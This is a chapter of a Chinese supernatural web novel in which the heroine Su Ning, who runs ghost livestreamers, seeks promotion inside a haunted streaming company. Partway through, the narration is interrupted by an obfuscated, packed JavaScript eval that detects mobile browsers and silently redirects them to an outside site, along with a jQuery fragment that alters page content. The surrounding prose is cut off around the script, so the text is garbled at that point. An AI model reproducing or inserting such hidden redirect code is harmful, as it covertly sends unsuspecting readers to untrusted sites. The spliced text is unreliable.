第二天一早，天光微熹，阴冷的气息尚未从槐楼的走廊完全褪去。苏宁推开103室的房门，就被眼前的景象堵了个正着。
门口竟乌泱泱地堵着几位，人影鬼影幢幢。
她抬眼望去，恰好捕捉到走廊尽头，先生一个即将拐弯消失的背影。他似乎有所感应，脚步微不可查地顿了一下，侧过头，投来一瞥。那眼神隔着遥远的距离，竟让苏宁清晰地品出了一丝若有若无的……怨念？
苏宁赶紧眨眨眼，定睛再看时，那道挺拔的身影已融入楼梯拐角的阴影里，消失不见。
定是错觉！她心下嘀咕。先生那般沉稳可靠的存在，怎么会瞪她呢？定是这鬼楼光线晦暗，看花了眼！
她甩开这个念头，将注意力放回门口。抱着那件玄黑龙袍、眼巴巴望着的咪咪，一旁扛着巨剑、显得有些无聊的辛娅，还有静立一旁、姿态恭敬的宁非。
苏宁只觉得额角又开始隐隐作痛，她长长地、认命般地叹了口气，侧身让开通路：“都别杵着了，先进来吧。”
得到许可，两人一鬼交换了个眼神，鱼贯而入，本就狭小的103室瞬间被填得满满当当，空气都仿佛稠密了几分。
空间拮据得几乎无处下脚。
苏宁率先看向咪咪，直播系统早就告诉了她对方为何而来：“把买家的信息给我就行。”
咪咪鬼机灵地转了转眼珠，将怀中那件沉甸甸的龙袍整个塞进了苏宁怀里，然后才嘿嘿一笑，身形一飘，便穿门而出，显然是跑去查信息了。
苏宁将龙袍放到一边，随后又看向辛娅和宁非。
辛娅率先沉不住气，粗声粗气地开口：“苏宁，今天我干什么？”
她蒲扇般的大手无意识地摩挲着剑柄，似乎颇为不自在。
苏宁看着她那副跃跃欲试又怕帮倒忙的模样，脸上露出一个安抚性的笑容，语气肯定：“辛娅，你今天还是帮我去找些新员工回来。”
辛娅松了一口，她实在是不擅长搞直播，主要是她直播的内容，那些观众完全不喜欢啊！
辛娅紧绷的肩膀都松弛下来，随即又泛起一丝难为情：“谢谢你啊，苏宁……要不，我、我下午也抽空直播一会儿？”
苏宁连忙摇摇头说道：“不用！你帮我抓鬼就是最大的帮忙了！”这话苏宁说的真心实意。
但她还是查看了一下今天的直播要求。
【要求粉丝一万人，不能拒绝榜一的一个要求。】
昨天她让手下的鬼充当榜一蒙混过关，今天倒是还可以如此，只是毕竟不是长久之计。
必须尽快摆脱这直播公司的钳制！
她悄然将情绪感知的能力催发到极致。空气中无形的弦微微震颤，反馈回清晰而平稳的波动。片刻后，她心下稍安，宁非的气息澄澈，并无半分恶意缠绕，似乎……值得托付信任。
宁非在苏宁沉静的打量下，只觉得那目光虽不锐利，却仿佛能穿透一切伪装，直抵灵魂深处，让她不由生出几分忐忑来。她心念电转，决定率先开口：“前辈……”她声音放得轻缓，带着恰到好处的恭敬，“我……机缘巧合下，探听到如何晋升主管的隐秘。”
苏宁闻言，眸光倏然一亮。
宁非继续轻声道：“是先生昨日意图与我结盟时，为表诚意，特意透露的。他说，晋升之路有二：其一，麾下掌控三名主播，便可直接擢升为主管；而这另一种方式……”
她话语微顿，片刻后才抬眼继续说道：“便是要……斩杀现任主管，取而代之。”
苏宁纤细的手指无意识地轻轻叩击了一下桌面，发出笃的一声轻响。她垂眸沉思，室内陷入短暂的寂静。片刻后，她抬首对宁非展颜一笑：“谢谢你，宁非。你这消息，当真是一份意想不到的厚礼。”
既然决定合作，她便不再隐瞒自己的滔天野心：“我欲取直播公司而代之，将这规则踩在脚下。届时，你我身上的任务，自然不攻自破。”
宁非惊诧地抬首，眸光直直撞入苏宁深邃的眼眸，仿佛要看清那平静表面下翻涌的究竟是怎样的惊涛骇浪。
随即，她唇角缓缓勾起一个狂放的笑容。与天争命，不错，妖族就该与天争命！
“好！”她斩钉截铁地应道，眼中燃烧起跃跃欲试的火焰，“宁非必倾力相助！但请吩咐！”
苏宁也不客气，她对着屋顶指了指说道：“那就请你帮我探查一下二楼。”
她将自己所知和盘托出：“一楼诸室，除二十三所居的101室尚不明朗，其余皆已在我掌控之中，每一间都拘着一只地缚之鬼。这二楼……”她眼眸微眯，“鬼楼既是任务明示之所，必有深层玄机。”
她向前一步，温热的手轻轻握住宁非那双冰冷彻骨的手，语气沉静：“这探查之责，我便托付于你了。”
“至于我，得去公司露露面了。”
正好也验证一下她的猜测。
————————
苏宁刚利用后台权限，将龙袍通过“抽奖”的方式发送出去，一抬头，就看见马二端着一个托盘，上面摆着几碗清汤素面，正磨磨蹭蹭地挪过来，脸上堆着讨好的笑。
“老……老大，”他声音放得极轻，“我听说……您刚帮咪咪她们把货发出去了？”
他将托盘又往前递了递，几碗素面清汤寡水，倒是飘着几点翠绿的葱花，散发着淡淡的香气。他小心翼翼观察着苏宁的脸色，语气犹豫地说道：“老大，您看这个……能不能也帮帮我？给我这几个‘心意’也找个好去处？”
苏宁：“……”
她抬手按了按突突直跳的太阳穴，拒绝得干脆利落：“不行。”
见马二瞬间垮下去的脸，她耐着性子多解释了一句：“你这面沾了你的鬼气，活人吃了，少说也得倒几天霉运，上吐下泻都是轻的。”
她顿了顿，目光锐利地看着马二：“除非，你能百分百确定，接收这东西的人，会立刻把它当做祭品供奉给他们那位‘老祖宗’，否则绝对不行！”
马二一听，先是吓了一跳，随即暗自庆幸不已，还好他比咪咪多了个心眼，没在直播间里把“包邮到家”的牛吹出去！
不过他眼珠子一转，接着就怂恿观众把食物供奉给老祖宗！
这边苏宁打发走马二，随即就收拾东西准备前往直播公司。
她沉思片刻，叫来了三个鬼和她一起前往公司。
手下有三个主播，鬼主播怎么就不算是主播呢？
然而，就在踏入门内大厅的瞬间，异变陡生！
身后原本虚无缥缈、仅有淡淡轮廓的三只鬼魂，身形骤然凝实！它们不再是半透明的虚影，而是呈现出一种灰败却清晰的实体状态，穿着生前的衣物，脸上带着茫然与惊恐，几乎与活人无异。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166642|178969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周围匆匆走过的几个“员工”对此似乎习以为常，只是漠然地瞥了一眼，便继续各行其是。
苏宁心下一沉，一股寒意顺着脊椎悄然爬上。
这正好验证了苏宁的猜测！
只是还需要探查这家公司到底是以人为主，还是以鬼为主。
她心里已经有了猜测，只怕是以鬼为主导，毕竟她之前就已经知道，直播公司里的那些所谓观众，可都是鬼。
只是如今它们羡慕嫉妒地看着王一吸收金光不可自拔，没有功夫来找苏宁麻烦。
苏宁悄然将嗜血藤缠绕在自己的手腕上。
电梯门缓缓打开，里面站着一个穿着笔挺西装，惨白如纸的男人，他脖子上有一道清晰的勒痕。他对着苏宁，露出了一个极其标准却毫无温度的职业微笑。
“行政部在十七楼，您是来办理晋升手续的吗？”
苏宁的目光与电梯里那西装男空洞的眼神一触即分。
“只是例行汇报。”苏宁含糊地应了一句，迈步走进电梯。三只鬼员工瑟缩了一下，似乎对那西装男极为恐惧，贴着电梯壁飘了进来，尽可能地远离他。
电梯内部光洁如镜，却泛着一股冷飕飕的、类似停尸房的寒气。西装男不再说话，只是保持着那个僵硬的微笑，按下17楼的按钮。电梯无声且平稳地上升。
十七楼到了。电梯门滑开，外面是一条灯火通明却异常安静的走廊，铺着厚厚的暗红色地毯，吸走了所有脚步声。空气里弥漫着消毒水和淡淡腐臭混合的怪异气味。
西装男侧身，做出“请”的手势，笑容不变：“直走，右手边第三间，人力资源部。”
苏宁领着三个鬼员工走出电梯。身后的门缓缓合上，将那西装男和那令人不适的微笑关在了里面。
她按照指示走到人力资源部门口，门是虚掩着的。她抬手敲了敲。
“进。”一个干涩的女声传来。
苏宁推门而入。房间很大，排列着许多格子间，但大多数工位都是空的。只有最里面一个工位上，坐着一个穿着灰色套装、梳着一丝不苟发髻的女人。她正低着头，用一支老式的羽毛笔在厚厚的册子上写着什么，速度极快，发出沙沙的声响。
听到动静，她抬起头。
她的脸同样苍白，戴着一副黑框眼镜，镜片后的眼睛大得有些异常，几乎看不到眼白，漆黑一片。她的目光扫过苏宁，然后落在她身后的三只鬼员工身上，嘴角扯出一个僵硬的弧度。
苏宁将自己的工牌递了过去，“苏宁，编号1037。携带三名新签约主播前来备案，申请晋升主管资格审核。”
“可以。”那女人啪的一声把本子合上，伸出干瘦的手指将工作牌拿到手里，又分别递给三只鬼一份合同。
苏宁眯了眯眼，这份合同也有契约效力，当然肯定比不上她手里的那份。她和众鬼的契约不会被掩盖。
“这是你的临时权限密钥和工作手册。”女人从抽屉里拿出一张黑色的、触手冰凉的卡片和一本薄薄的、封皮像是人皮纹理的册子，推到桌子对面，“权限已开通，可初步连接公司内部网络查询信息、发布基础任务。”
她扯出一抹僵硬的笑容：“愿你尽快晋升！”
苏宁恭敬的点了点头，心里却在想，自家公司还是太弱小，不知道什么时候才能取而代之！
她需要一些打手！